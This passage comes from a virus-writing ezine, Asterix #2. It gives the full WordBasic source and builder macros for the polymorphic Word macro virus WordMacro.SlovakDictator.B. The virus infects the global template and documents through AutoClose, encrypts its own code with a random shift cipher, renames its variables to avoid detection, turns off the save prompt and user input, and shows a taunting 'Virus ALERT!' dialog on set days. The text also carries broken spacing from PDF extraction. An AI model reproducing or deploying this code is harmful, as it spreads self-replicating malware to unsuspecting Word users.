"IUOIYOTPO[OUO*&C&FFFF"FHUMCEAANPGT$(169 ) ="Lux&HPNQHPSQW\[RLVT&C&QX\ZRWLOUW&Zu&WIYWVNKKVLZO[TMI&1&Xtj./&0&WIYWVNKKVLZO[TMI&@&IUOIYOTPO[OUO*&C&IUOIYOTPO[OUO*&1&Inx*.Xtj./&0&KILH[RNUYTV\NLW N[&1&XIKMNL\RH\T[NVP/&@&Tk~z&HPNQHPSQW\[RLVT"FHUMCEAANPGT$(170 ) = "IKJQQQGXUGQLYXGN*&C&IUOIYOTPO[OUO*"FHUMCEAANPGT$(171 ) = "Ktj&L{tizout"FHUMCEAANPGT$(172 ) = ""FHUMCEAANPGT$(173 ) = "Y{h&[RZTMWV[[ZKX\YJ\"FHUMCEAANPGT$(174 ) ="Lux&HPNQHPSQW\[RLVT&C&IZUPYOWXKHOSQYIPUW&Zu&JHZQMHGQY[HVUOHQZGN&3&QX\ZRWLOUW"FHUMCEAANPGT$(175 ) ="KjozXkvrgik&4Lotj&C&UWPQPIQZ\ZSRWY*.HPNQHPSQW\[RLV T/2&4Xkvrgik&C&IKJQQQGXUGQLYXGN*2&4Joxkizout&C&IZUPYOWXKHOSQYIPUW2&4SgzinIgyk&C&QX\ZRWLOUW2&4]nurk]uxj&C&IZUPYOWXKHOSQYIPUW2&4VgzzkxtSgzin&C&IZUPYOWXKHOSQYIPUW2&4Yu{tjyRoqk&C&IZUPYOWXKHOSQYIPUW2&4XkvrgikGr" +"r2&4Luxsgz&C&IZUPYOWXKHOSQYIPUW2&4]xgv&C&QX\ZRWLOUW2&4LotjGrr]uxjLuxsy&C&IZUPYOWXKHOSQYIPUW"FHUMCEAANPGT$(176 ) = "Tk~z&HPNQHPSQW\[RLVT"FHUMCEAANPGT$(177 ) = "Ktj&Y{h"

Page 289: EZine - Asterix #2

SLOW_A.MAC

FHUMCEAANPGT$(178 ) = ""FHUMCEAANPGT$(179 ) = "Y{h&LRVSQXQVIGVUIHW\[ST"OQJKJCKTVTMLQS$(0) = "VJPJHQNAQRNO"OQJKJCKTVTMLQS$(1) = "FHUMCEAANPGT"OQJKJCKTVTMLQS$(2) = "OQJKJCKTVTMLQS"OQJKJCKTVTMLQS$(3) = "CTOJSIQREBIMKSCJOQ"OQJKJCKTVTMLQS$(4) = "QCSQPHEEPFTIUNGC"OQJKJCKTVTMLQS$(5) = "ECFBULHOSNPVHFQHU"OQJKJCKTVTMLQS$(6) = "SLDMTVLJUILNV"OQJKJCKTVTMLQS$(7) = "KRVTLQFIOQ"OQJKJCKTVTMLQS$(8) = "QRPSLDKCBJN"OQJKJCKTVTMLQS$(9) = "VFFLVOMBJO"OQJKJCKTVTMLQS$(10) = "RCEGHFVLBVNUHPJ"OQJKJCKTVTMLQS$(11) = "FUFNJKGLSUIQKJLM"OQJKJCKTVTMLQS$(12) = "HTHPBJIVDPO"OQJKJCKTVTMLQS$(13) = "ITVNPFSFJOLERDPDVGC"OQJKJCKTVTMLQS$(14) = "JGGUCPCJHP"OQJKJCKTVTMLQS$(15) = "ATBCMFMITOIRU"OQJKJCKTVTMLQS$(16) = "DBTKGBAKSUBPOIBKTAH"OQJKJCKTVTMLQS$(17) = "BJHKBJMKQVULFPN"OQJKJCKTVTMLQS$(18) = "VGBPGUTQAQ"OQJKJCKTVTMLQS$(19) = "MUANKIPLHAIGVBJSDI"OQJKJCKTVTMLQS$(20) = "COICSINJIUIOI"OQJKJCKTVTMLQS$(21) = "ADKAPBAVCRPTNA"OQJKJCKTVTMLQS$(22) = "AVLRCKOUFVTMKMJPJR"OQJKJCKTVTMLQS$(23) = "UTCUSCLAOECQNLTBA"OQJKJCKTVTMLQS$(24) = "VOPESNDPVHCINP"OQJKJCKTVTMLQS$(25) = "JOVEPAKCFV"OQJKJCKTVTMLQS$(26) = "HOKFFSFLVKJA"OQJKJCKTVTMLQS$(27) = "ULTNGQPUUTERVSDV"OQJKJCKTVTMLQS$(28) = "MBDRPMTMVEKV"OQJKJCKTVTMLQS$(29) = "CEDKKKAROAKFSRAH"OQJKJCKTVTMLQS$(30) = "FLPMKRKPCAPOCBQVUMN"

End Sub=================================================== ===========================

Page 290: EZine - Asterix #2

SLOW_B.MAC

List Word Macros version 1.10File: SLD_B_S.DOTTotal macros: 5=================================================== ===========================Macro name: StarterFINAL [STARTERFINAL] "U"Description: Vlozi zdrojove riadky zakryptovanej casti ma kra na poziciu kurzora - pre FINALverziu--------------------------------------------------- ---------------------------Sub MAIN

ToolsMacro .Name = "SlovakDictatorRESOURCEfinal" , .Show = 0, .EditBigString$ = GetText$( 0, 100000 )DocClose 2j = 1i = 0

looop:Insert "SourceLinesTable$(" + Str$(i) + ")=" + Chr$( 34)

loop2:char$ = Mid$ (BigString$, j, 1)j = j + 1If char$ = Chr$( 13) Then Goto skip1If char$ = Chr$( 9) Then Goto loop2If char$ = Chr$( 34) Then Insert "@@" : Goto loop2Insert char$Goto loop2

skip1:Insert Chr$( 34)InsertParai = i + 1If j < Len(BigString$) Then Goto looop

End Sub=================================================== ===========================Macro name: EncryptAutoClose [ENCRYPTAUTOCLOSE] "U"--------------------------------------------------- ---------------------------Sub MAINOn Error Goto BUGMacroCopy "global:AutoClose" , "global:AutoCloseEncrypted" , 1Goto FINISH

BUG:MsgBox "Chyba pri vytvarani kryptovaneho makra" , "BIG BUG OCCURED !" , 48

FINISH:End Sub=================================================== ===========================Macro name: SlovakDictatorGEN1final [SLOVAKDICTATORGEN 1FINAL] "U"Description: Finalna verzia WordMacro.SlovakDictator.Bbez DEBUG infa - 1. generacia--------------------------------------------------- ---------------------------Dim Shared FixedConstant_0Dim Shared FixedConstant_1Dim Shared FixedConstant_2Dim Shared FixedConstant_7Dim Shared FixedConstant_10Dim Shared FixedConstant_20Dim Shared FixedConstant_22Dim Shared FixedConstant_65Dim Shared UvodzovkyDim Shared ZavinacDim Shared CryptConstantDim Shared SourceLinesTable$( 200 )Dim Shared HiddenIntroLenDim Shared HiddenStart

Page 291: EZine - Asterix #2

SLOW_B.MAC

Dim Shared HiddenLinesDim Shared PolymorphNamesTable$( 31) 'MyVarI1Dim Shared PolyNames

Sub MAINOn Error Goto ErrorHandlerFixedConstant_0 = 0FixedConstant_1 = 1DisableInput FixedConstant_1FixedConstant_2 = 2FixedConstant_7 = 7FixedConstant_10 = 10FixedConstant_20 = 20FixedConstant_22 = 22FixedConstant_65 = 65Uvodzovky = 34Zavinac = 64HiddenIntroLen = 38HiddenStart = 120HiddenLines = 181PolyNames = 31WordVersion$ = AppInfo$(FixedConstant_2)WordVer = Val(Left$(WordVersion$, FixedConstant_1))If WordVer <> FixedConstant_7 Then Goto ErrorHandler

CryptConstant = 0'//// SourceLinesTable - zakryptovane makroSourceLinesTable$( 0) = "Dim Shared FixedConstant_0"SourceLinesTable$( 1) = "Dim Shared FixedConstant_1"SourceLinesTable$( 2) = "Dim Shared FixedConstant_2"SourceLinesTable$( 3) = "Dim Shared FixedConstant_7"SourceLinesTable$( 4) = "Dim Shared FixedConstant_10"SourceLinesTable$( 5) = "Dim Shared FixedConstant_20"SourceLinesTable$( 6) = "Dim Shared FixedConstant_22"SourceLinesTable$( 7) = "Dim Shared FixedConstant_65"SourceLinesTable$( 8) = "Dim Shared Uvodzovky"SourceLinesTable$( 9) = "Dim Shared Zavinac"SourceLinesTable$( 10) = "Dim Shared CryptConstant"SourceLinesTable$( 11) = "Dim Shared SourceLinesTable$(200)"SourceLinesTable$( 12) = "Dim Shared HiddenIntroLen"SourceLinesTable$( 13) = "Dim Shared HiddenStart"SourceLinesTable$( 14) = "Dim Shared HiddenLines"SourceLinesTable$( 15) = "Dim Shared PolymorphNamesTable$(31)'MyVarI1"SourceLinesTable$( 16) = "Dim Shared PolyNames"SourceLinesTable$( 17) = ""SourceLinesTable$( 18) = "Sub MAIN"SourceLinesTable$( 19) = "On Error Goto ErrorHandler"SourceLinesTable$( 20) = "FixedConstant_0 = 0"SourceLinesTable$( 21) = "FixedConstant_1 = 1"SourceLinesTable$( 22) = "DisableInput FixedConstant_1"SourceLinesTable$( 23) = "FixedConstant_2 = 2"SourceLinesTable$( 24) = "FixedConstant_7 = 7"SourceLinesTable$( 25) = "FixedConstant_10 = 10"SourceLinesTable$( 26) = "FixedConstant_20 = 20"SourceLinesTable$( 27) = "FixedConstant_22 = 22"SourceLinesTable$( 28) = "FixedConstant_65 = 65"SourceLinesTable$( 29) = "Uvodzovky = 34"SourceLinesTable$( 30) = "Zavinac = 64"SourceLinesTable$( 31) = "HiddenIntroLen = 38"SourceLinesTable$( 32) = "HiddenStart = 120"SourceLinesTable$( 33) = "HiddenLines = 181"SourceLinesTable$( 34) = "PolyNames = 31"

Page 292: EZine - Asterix #2

SLOW_B.MAC

SourceLinesTable$( 35) = "WordVersion$ = AppInfo$(FixedConstant_2)"SourceLinesTable$( 36) = "WordVer = Val(Left$(WordVersion$, FixedConstant_1) )"SourceLinesTable$( 37) = "If WordVer <> FixedConstant_7 Then Goto ErrorHandl er"SourceLinesTable$( 38) = "Call InitializePolymorphTables"SourceLinesTable$( 39) = "'//// begin of hidden part ////"SourceLinesTable$( 40) = "ShowBox"SourceLinesTable$( 41) = "CurFile$ = FileName$()"SourceLinesTable$( 42) = "If CurFile$ = @@@@ Then Goto ErrorHandler"SourceLinesTable$( 43) = ""SourceLinesTable$( 44) = "If CheckInstalled(0) = 0 Then"SourceLinesTable$( 45) = "Infect(1)"SourceLinesTable$( 46) = "ToolsOptionsSave .GlobalDotPrompt = 0, .FastSaves = 0"SourceLinesTable$( 47) = "Goto ErrorHandler"SourceLinesTable$( 48) = "End If"SourceLinesTable$( 49) = ""SourceLinesTable$( 50) = "Dim dlg As FileSaveAs"SourceLinesTable$( 51) = "GetCurValues dlg"SourceLinesTable$( 52) = "If dlg.Format = 0 Then"SourceLinesTable$( 53) = "dlg.Format = 1"SourceLinesTable$( 54) = "FileSaveAs dlg"SourceLinesTable$( 55) = "End If"SourceLinesTable$( 56) = ""SourceLinesTable$( 57) = "If CheckInstalled(1) = 0 Then"SourceLinesTable$( 58) = "Infect(3)"SourceLinesTable$( 59) = "FileSave"SourceLinesTable$( 60) = "End If"SourceLinesTable$( 61) = ""SourceLinesTable$( 62) = "ErrorHandler:"SourceLinesTable$( 63) = "End Sub"SourceLinesTable$( 64) = ""SourceLinesTable$( 65) = "Sub ShowBox"SourceLinesTable$( 66) = "ParlamentnyPuc = Day(Now())"SourceLinesTable$( 67) = "If ParlamentnyPuc = 4 Or ParlamentnyPuc = 11 Then"SourceLinesTable$( 68) = "Beep"SourceLinesTable$( 69) = "Begin Dialog UserDialog 380, 224, @@Virus ALERT!@@ "SourceLinesTable$( 70) = "Text 28, 8, 349, 13, @@You're infected by WordMacro.SlovakDictator.B virus@@, .Text1"SourceLinesTable$( 71) = "Text 15, 28, 360, 13, @@Welcome to the LME (Lamer' s Macro Engine) ver. 1.00@@, .Text2"SourceLinesTable$( 72) = "Text 145, 51, 123, 13, @@Dis is Level 421@@, .Text 3"SourceLinesTable$( 73) = "Text 35, 73, 342, 13, @@(c) 5-mar-97, Nasty Lamer && Ugly Luser, Slovakia@@, .Text4"SourceLinesTable$( 74) = "Text 34, 98, 343, 13, @@Dis is the first world tru e polymorphic macro virus !@@, .Text5"SourceLinesTable$( 75) = "PushButton 120, 188, 147, 21, @@Accept / Suhlas@@, .Push1"SourceLinesTable$( 76) = "Text 100, 165, 228, 13, @@Big fuck to the big boxe r V.M.@@, .Text6"SourceLinesTable$( 77) = "End Dialog"SourceLinesTable$( 78) = "Dim dlg As UserDialog"SourceLinesTable$( 79) = "Dialog(dlg)"SourceLinesTable$( 80) = "End If"SourceLinesTable$( 81) = "End Sub"SourceLinesTable$( 82) = ""SourceLinesTable$( 83) = "Function CheckInstalled(j)"SourceLinesTable$( 84) = "On Error Resume Next"SourceLinesTable$( 85) = "CheckInstalled = 0"SourceLinesTable$( 86) = "For i = 1 To CountMacros(j)"SourceLinesTable$( 87) = "If MacroName$(i, j) = @@AutoClose@@ Then CheckInst alled = 1"SourceLinesTable$( 88) = "Next i"SourceLinesTable$( 89) = "End Function"SourceLinesTable$( 90) = ""SourceLinesTable$( 91) = "Sub Infect(WhatToInfect)"SourceLinesTable$( 92) = "SaveWindowName$ = WindowName$()"

Page 293: EZine - Asterix #2

SLOW_B.MAC

SourceLinesTable$( 93) = "ToolsMacro .Name = @@AutoClose@@, .Show = WhatToIn fect, .Edit"SourceLinesTable$( 94) = "EditClear - 20"SourceLinesTable$( 95) = ""SourceLinesTable$( 96) = "'////"SourceLinesTable$( 97) = "'//// Vlozenie prvych HiddenIntroLen riadkov kodu makra"SourceLinesTable$( 98) = "'//// viditelna cast - nemenit !"SourceLinesTable$( 99) = "'////"SourceLinesTable$( 100 ) = "For i = 0 To HiddenIntroLen : Insert SourceLinesTa ble$(i) : InsertPara : Next i"SourceLinesTable$( 101 ) = "'////"SourceLinesTable$( 102 ) = "'//// premenna i ide od riadkov @@Sub OriginalMacr oBody@@+1"SourceLinesTable$( 103 ) = "'//// az po @@Sub InitializePolymorphTables@@-1"SourceLinesTable$( 104 ) = "'//// velmi pozorne urcit tieto konstanty !!!"SourceLinesTable$( 105 ) = "'////"SourceLinesTable$( 106 ) = "For i = HiddenStart To HiddenLines : Insert Source LinesTable$(i) : InsertPara : Next i"SourceLinesTable$( 107 ) = "EditReplace .Find = Chr$(64) + Chr$(64), .Replace = Chr$(34), .Direction = 0, .MatchCase = 1, .WholeWord = 0, .Pa tternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordFo rms = 0"SourceLinesTable$( 108 ) = ""SourceLinesTable$( 109 ) = "CryptConstant = - Int((4 + Rnd() * 10))"SourceLinesTable$( 110 ) = "Call DecryptLines"SourceLinesTable$( 111 ) = "Insert @@CryptConstant = @@ + Str$(- CryptConstant )"SourceLinesTable$( 112 ) = "InsertPara"SourceLinesTable$( 113 ) = "FlushAllTables"SourceLinesTable$( 114 ) = "DocClose 1"SourceLinesTable$( 115 ) = "Activate SaveWindowName$"SourceLinesTable$( 116 ) = "End Sub"SourceLinesTable$( 117 ) = ""SourceLinesTable$( 118 ) = "Sub OriginalMacroBody"SourceLinesTable$( 119 ) = "'//// end of Hidden part ////"SourceLinesTable$( 120 ) = "ScreenUpdating FixedConstant_0"SourceLinesTable$( 121 ) = "DisableAutoMacros FixedConstant_1"SourceLinesTable$( 122 ) = "DecryptLines"SourceLinesTable$( 123 ) = ""SourceLinesTable$( 124 ) = "SaveWindowName$ = WindowName$()"SourceLinesTable$( 125 ) = "'MyVarI1"SourceLinesTable$( 126 ) = "ToolsMacro .Name = @@TempMacro@@, .Show = FixedCon stant_1, .Edit"SourceLinesTable$( 127 ) = "'MyVarI1"SourceLinesTable$( 128 ) = "EditClear - FixedConstant_20"SourceLinesTable$( 129 ) = "For MyVarI1 = FixedConstant_0 To HiddenLines : Ins ert SourceLinesTable$(MyVarI1) : InsertPara : Next MyVa rI1"SourceLinesTable$( 130 ) = ""SourceLinesTable$( 131 ) = "EditReplace .Find = Chr$(Zavinac) + Chr$(Zavinac), .Replace = Chr$(Uvodzovky), .Direction = FixedConstant_0, .Mat chCase = FixedConstant_1, .WholeWord = FixedConstant_0, .PatternMatch = FixedConstant_0, . SoundsLike = FixedConstant_0, .ReplaceAll, .Format =" + " FixedConstant_0, .Wrap = FixedConstant_1, .FindAl lWordForms = FixedConstant_0"SourceLinesTable$( 132 ) = ""SourceLinesTable$( 133 ) = "FlushAllTables"SourceLinesTable$( 134 ) = "MutateAllNames"SourceLinesTable$( 135 ) = "DocClose FixedConstant_1"SourceLinesTable$( 136 ) = "Activate SaveWindowName$"SourceLinesTable$( 137 ) = ""SourceLinesTable$( 138 ) = "Call TempMacro"SourceLinesTable$( 139 ) = "ToolsMacro .Name = @@TempMacro@@, .Show = FixedCon stant_1, .Delete"SourceLinesTable$( 140 ) = ""SourceLinesTable$( 141 ) = "ErrorHandler:"SourceLinesTable$( 142 ) = "DisableAutoMacros FixedConstant_0"SourceLinesTable$( 143 ) = "ScreenUpdating FixedConstant_1"SourceLinesTable$( 144 ) = "DisableInput FixedConstant_0"SourceLinesTable$( 145 ) = "End Sub"

Page 294: EZine - Asterix #2

SLOW_B.MAC

SourceLinesTable$( 146 ) = ""SourceLinesTable$( 147 ) = "Sub DecryptLines"SourceLinesTable$( 148 ) = "For MyVarI1 = FixedConstant_0 To HiddenLines"SourceLinesTable$( 149 ) = "MyVarA4$ = @@@@"SourceLinesTable$( 150 ) = "MyVarJ2 = Len(SourceLinesTable$(MyVarI1))"SourceLinesTable$( 151 ) = "For MyVarK3 = FixedConstant_1 To MyVarJ2"SourceLinesTable$( 152 ) = "MyVarA4$ = MyVarA4$ + Chr$(Asc(Mid$(SourceLinesTab le$(MyVarI1), MyVarK3, FixedConstant_1)) - CryptConstant)"SourceLinesTable$( 153 ) = "Next MyVarK3"SourceLinesTable$( 154 ) = "SourceLinesTable$(MyVarI1) = MyVarA4$"SourceLinesTable$( 155 ) = "Next MyVarI1"SourceLinesTable$( 156 ) = "End Sub"SourceLinesTable$( 157 ) = ""SourceLinesTable$( 158 ) = "Sub FlushAllTables"SourceLinesTable$( 159 ) = "For MyVarI1 = FixedConstant_0 To HiddenLines"SourceLinesTable$( 160 ) = "Insert @@SourceLinesTable$(@@ + Str$(MyVarI1) + @@ )=@@ + Chr$(Uvodzovky) + SourceLinesTable$(MyVarI1) + Chr$ (Uvodzovky)"SourceLinesTable$( 161 ) = "InsertPara"SourceLinesTable$( 162 ) = "Next MyVarI1"SourceLinesTable$( 163 ) = "For MyVarI1 = FixedConstant_0 To PolyNames - Fixed Constant_1"SourceLinesTable$( 164 ) = "Insert @@PolymorphNamesTable$(@@ + Str$(MyVarI1) + @@)=@@ + Chr$(Uvodzovky) + PolymorphNamesTable$(MyVarI1) + C hr$(Uvodzovky)"SourceLinesTable$( 165 ) = "InsertPara"SourceLinesTable$( 166 ) = "Next MyVarI1"SourceLinesTable$( 167 ) = "End Sub"SourceLinesTable$( 168 ) = ""SourceLinesTable$( 169 ) = "Function GenName$"SourceLinesTable$( 170 ) = "MyVarA4$ = @@@@"SourceLinesTable$( 171 ) = "For MyVarI1 = FixedConstant_1 To FixedConstant_10 + Rnd() * FixedConstant_10 : MyVarA4$ = MyVarA4$ + Chr$(Rnd() * FixedConstant_22 + FixedConstant_65) : Next MyVarI1"SourceLinesTable$( 172 ) = "GenName$ = MyVarA4$"SourceLinesTable$( 173 ) = "End Function"SourceLinesTable$( 174 ) = ""SourceLinesTable$( 175 ) = "Sub MutateAllNames"SourceLinesTable$( 176 ) = "For MyVarI1 = FixedConstant_0 To PolyNames - Fixed Constant_1"SourceLinesTable$( 177 ) = "EditReplace .Find = PolymorphNamesTable$(MyVarI1), .Replace = GenName$, .Direction = FixedConstant_0, .MatchCase = FixedConstant_1, .WholeWord = FixedConstant_0, .PatternMatch = FixedConstant_0, . SoundsLike = FixedConstant_0, .ReplaceAll, .Format = FixedC" + "onstant_0, .Wrap = FixedConstant_1, .FindAllWordFo rms = FixedConstant_0"SourceLinesTable$( 178 ) = "Next MyVarI1"SourceLinesTable$( 179 ) = "End Sub"SourceLinesTable$( 180 ) = ""SourceLinesTable$( 181 ) = "Sub InitializePolymorphTables"

'//// PolymorphNamesTable - polymorfne premenne'//// Pozor na poradie premennych pri replacovani ! !!PolymorphNamesTable$( 0) = "CryptConstant"PolymorphNamesTable$( 1) = "SourceLinesTable"PolymorphNamesTable$( 2) = "PolymorphNamesTable"PolymorphNamesTable$( 3) = "FixedConstant_0"PolymorphNamesTable$( 4) = "FixedConstant_10"PolymorphNamesTable$( 5) = "FixedConstant_22"PolymorphNamesTable$( 6) = "FixedConstant_7"PolymorphNamesTable$( 7) = "FixedConstant_1"PolymorphNamesTable$( 8) = "FixedConstant_20"PolymorphNamesTable$( 9) = "FixedConstant_2"PolymorphNamesTable$( 10) = "FixedConstant_65"PolymorphNamesTable$( 11) = "Uvodzovky"PolymorphNamesTable$( 12) = "Zavinac"PolymorphNamesTable$( 13) = "HiddenIntroLen"

Page 295: EZine - Asterix #2

SLOW_B.MAC

PolymorphNamesTable$( 14) = "HiddenStart"PolymorphNamesTable$( 15) = "HiddenLines"PolymorphNamesTable$( 16) = "PolyNames"PolymorphNamesTable$( 17) = "MyVarI1"PolymorphNamesTable$( 18) = "MyVarJ2"PolymorphNamesTable$( 19) = "MyVarK3"PolymorphNamesTable$( 20) = "MyVarA4"PolymorphNamesTable$( 21) = "WordVersion"PolymorphNamesTable$( 22) = "WordVer"PolymorphNamesTable$( 23) = "ErrorHandler"PolymorphNamesTable$( 24) = "DecryptLines"PolymorphNamesTable$( 25) = "SaveWindowName"PolymorphNamesTable$( 26) = "FlushAllTables"PolymorphNamesTable$( 27) = "MutateAllNames"PolymorphNamesTable$( 28) = "TempMacro"PolymorphNamesTable$( 29) = "GenName"PolymorphNamesTable$( 30) = "InitializePolymorphTables"'//// iniciacna castScreenUpdating FixedConstant_0DisableAutoMacros FixedConstant_1DecryptLines

SaveWindowName$ = WindowName$()'MyVarI1ToolsMacro .Name = "TempMacro" , .Show = FixedConstant_1, .Edit'MyVarI1EditClear - FixedConstant_20For MyVarI1 = FixedConstant_0 To HiddenLines : Insert SourceLinesTable$(MyVarI1) : Insert Para

: Next MyVarI1

EditReplace .Find = Chr$(Zavinac) + Chr$(Zavinac), .Repla ce = Chr$(Uvodzovky), .Direction =FixedConstant_0, .MatchCase = FixedConstant_1, .WholeWo rd = FixedConstant_0, .PatternMatch =FixedConstant_0, .SoundsLike = FixedConstant_0, .Replac eAll, .Format = FixedConstant_0, .Wrap

= FixedConstant_1, .FindAllWordForms = FixedConstant_0

FlushAllTablesMutateAllNamesDocClose FixedConstant_1Activate SaveWindowName$

Call TempMacroToolsMacro .Name = "TempMacro" , .Show = FixedConstant_1, .Delete'//// zaverecna castErrorHandler:DisableAutoMacros FixedConstant_0ScreenUpdating FixedConstant_1DisableInput FixedConstant_0End Sub

Sub DecryptLinesFor MyVarI1 = FixedConstant_0 To HiddenLines

MyVarA4$ = ""MyVarJ2 = Len(SourceLinesTable$(MyVarI1))For MyVarK3 = FixedConstant_1 To MyVarJ2

MyVarA4$ = MyVarA4$ + Chr$(Asc( Mid$ (SourceLinesTable$(MyVarI1), MyVarK3,FixedConstant_1)) - CryptConstant)

Next MyVarK3SourceLinesTable$(MyVarI1) = MyVarA4$

Next MyVarI1End Sub

Sub FlushAllTables

Page 296: EZine - Asterix #2

SLOW_B.MAC

For MyVarI1 = FixedConstant_0 To HiddenLinesInsert "SourceLinesTable$(" + Str$(MyVarI1) + ")=" + Chr$(Uvodzovky) +

SourceLinesTable$(MyVarI1) + Chr$(Uvodzovky)InsertPara

Next MyVarI1For MyVarI1 = FixedConstant_0 To PolyNames - FixedConstant_1

Insert "PolymorphNamesTable$(" + Str$(MyVarI1) + ")=" + Chr$(Uvodzovky) +PolymorphNamesTable$(MyVarI1) + Chr$(Uvodzovky)

InsertParaNext MyVarI1

End Sub

Function GenName$MyVarA4$ = ""For MyVarI1 = FixedConstant_1 To FixedConstant_10 + Rnd() * FixedConstant_10 : MyVarA4$ =

MyVarA4$ + Chr$(Rnd() * FixedConstant_22 + FixedConstant_ 65) : Next MyVarI1GenName$ = MyVarA4$

End Function

Sub MutateAllNamesFor MyVarI1 = FixedConstant_0 To PolyNames - FixedConstant_1

EditReplace .Find = PolymorphNamesTable$(MyVarI1), .Rep lace = GenName$, .Direction =FixedConstant_0, .MatchCase = FixedConstant_1, .WholeWo rd = FixedConstant_0, .PatternMatch =FixedConstant_0, .SoundsLike = FixedConstant_0, .Replac eAll, .Format = FixedConstant_0, .Wrap

= FixedConstant_1, .FindAllWordForms = FixedConstant_0Next MyVarI1

End Sub=================================================== ===========================Macro name: SlovakDictatorRESOURCEfinal [SLOVAKDICTATO RRESOURCEFINAL]"U"--------------------------------------------------- ---------------------------Dim Shared FixedConstant_0Dim Shared FixedConstant_1Dim Shared FixedConstant_2Dim Shared FixedConstant_7Dim Shared FixedConstant_10Dim Shared FixedConstant_20Dim Shared FixedConstant_22Dim Shared FixedConstant_65Dim Shared UvodzovkyDim Shared ZavinacDim Shared CryptConstantDim Shared SourceLinesTable$( 200 )Dim Shared HiddenIntroLenDim Shared HiddenStartDim Shared HiddenLinesDim Shared PolymorphNamesTable$( 31) 'MyVarI1Dim Shared PolyNames

Sub MAINOn Error Goto ErrorHandlerFixedConstant_0 = 0FixedConstant_1 = 1DisableInput FixedConstant_1FixedConstant_2 = 2FixedConstant_7 = 7FixedConstant_10 = 10FixedConstant_20 = 20FixedConstant_22 = 22FixedConstant_65 = 65Uvodzovky = 34Zavinac = 64HiddenIntroLen = 38

Page 297: EZine - Asterix #2

SLOW_B.MAC

HiddenStart = 120HiddenLines = 181PolyNames = 31WordVersion$ = AppInfo$(FixedConstant_2)WordVer = Val(Left$(WordVersion$, FixedConstant_1))If WordVer <> FixedConstant_7 Then Goto ErrorHandlerCall InitializePolymorphTables'//// begin of hidden part ////ShowBoxCurFile$ = FileName$()If CurFile$ = "" Then Goto ErrorHandler

If CheckInstalled( 0) = 0 ThenInfect( 1)ToolsOptionsSave .GlobalDotPrompt = 0, .FastSaves = 0Goto ErrorHandler

End If

Dim dlg As FileSaveAsGetCurValues dlgIf dlg.Format = 0 Then

dlg.Format = 1FileSaveAs dlg

End If

If CheckInstalled( 1) = 0 ThenInfect( 3)FileSave

End If

ErrorHandler:End Sub

Sub ShowBoxParlamentnyPuc = Day(Now())If ParlamentnyPuc = 4 Or ParlamentnyPuc = 11 ThenBeepBegin Dialog UserDialog 380 , 224 , "Virus ALERT!"

Text 28, 8, 349 , 13, "You're infected by WordMacro.SlovakDictator.B viru s" , .Text1Text 15, 28, 360 , 13, "Welcome to the LME (Lamer's Macro Engine) ver. 1.0 0" , .Text2Text 145 , 51, 123 , 13, "Dis is Level 421" , .Text3Text 35, 73, 342 , 13, "(c) 5-mar-97, Nasty Lamer && Ugly Luser, Slovakia" , .Text4Text 34, 98, 343 , 13, "Dis is the first world true polymorphic macro viru s !" , .Text5PushButton 120 , 188 , 147 , 21, "Accept / Suhlas" , .Push1Text 100 , 165 , 228 , 13, "Big fuck to the big boxer V.M." , .Text6

End DialogDim dlg As UserDialogDialog(dlg)End IfEnd Sub

Function CheckInstalled(j)On Error Resume NextCheckInstalled = 0For i = 1 To CountMacros(j)

If MacroName$(i, j) = "AutoClose" Then CheckInstalled = 1Next iEnd Function

Sub Infect(WhatToInfect)SaveWindowName$ = WindowName$()ToolsMacro .Name = "AutoClose" , .Show = WhatToInfect, .Edit

Page 298: EZine - Asterix #2

SLOW_B.MAC

EditClear - 20

'////'//// Vlozenie prvych HiddenIntroLen riadkov kodu m akra'//// viditelna cast - nemenit !'////For i = 0 To HiddenIntroLen : Insert SourceLinesTable$(i) : InsertPar a : Next i'////'//// premenna i ide od riadkov "Sub OriginalMacroB ody"+1'//// az po "Sub InitializePolymorphTables"-1'//// velmi pozorne urcit tieto konstanty !!!'////

For i = HiddenStart To HiddenLines : Insert SourceLinesTable$(i) : InsertPara : Next iEditReplace .Find = Chr$( 64) + Chr$( 64), .Replace = Chr$( 34), .Direction = 0, .MatchCase

= 1, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1,.FindAllWordForms = 0

CryptConstant = - Int(( 4 + Rnd() * 10))Call DecryptLinesInsert "CryptConstant = " + Str$(- CryptConstant)InsertParaFlushAllTablesDocClose 1Activate SaveWindowName$

End Sub

Sub OriginalMacroBody'//// end of Hidden part ////ScreenUpdating FixedConstant_0DisableAutoMacros FixedConstant_1DecryptLines

SaveWindowName$ = WindowName$()'MyVarI1ToolsMacro .Name = "TempMacro" , .Show = FixedConstant_1, .Edit'MyVarI1EditClear - FixedConstant_20For MyVarI1 = FixedConstant_0 To HiddenLines : Insert SourceLinesTable$(MyVarI1) : Insert Para

: Next MyVarI1

EditReplace .Find = Chr$(Zavinac) + Chr$(Zavinac), .Repla ce = Chr$(Uvodzovky), .Direction =FixedConstant_0, .MatchCase = FixedConstant_1, .WholeWo rd = FixedConstant_0, .PatternMatch =FixedConstant_0, .SoundsLike = FixedConstant_0, .Replac eAll, .Format = FixedConstant_0, .Wrap

= FixedConstant_1, .FindAllWordForms = FixedConstant_0

FlushAllTablesMutateAllNamesDocClose FixedConstant_1Activate SaveWindowName$

Call TempMacroToolsMacro .Name = "TempMacro" , .Show = FixedConstant_1, .Delete

ErrorHandler:DisableAutoMacros FixedConstant_0ScreenUpdating FixedConstant_1DisableInput FixedConstant_0End Sub

Sub DecryptLinesFor MyVarI1 = FixedConstant_0 To HiddenLines

MyVarA4$ = ""

Page 299: EZine - Asterix #2

SLOW_B.MAC

MyVarJ2 = Len(SourceLinesTable$(MyVarI1))For MyVarK3 = FixedConstant_1 To MyVarJ2

MyVarA4$ = MyVarA4$ + Chr$(Asc( Mid$ (SourceLinesTable$(MyVarI1), MyVarK3,FixedConstant_1)) - CryptConstant)

Next MyVarK3SourceLinesTable$(MyVarI1) = MyVarA4$

Next MyVarI1End Sub

Sub FlushAllTablesFor MyVarI1 = FixedConstant_0 To HiddenLines

Insert "SourceLinesTable$(" + Str$(MyVarI1) + ")=" + Chr$(Uvodzovky) +SourceLinesTable$(MyVarI1) + Chr$(Uvodzovky)

InsertParaNext MyVarI1For MyVarI1 = FixedConstant_0 To PolyNames - FixedConstant_1

Insert "PolymorphNamesTable$(" + Str$(MyVarI1) + ")=" + Chr$(Uvodzovky) +PolymorphNamesTable$(MyVarI1) + Chr$(Uvodzovky)

InsertParaNext MyVarI1

End Sub

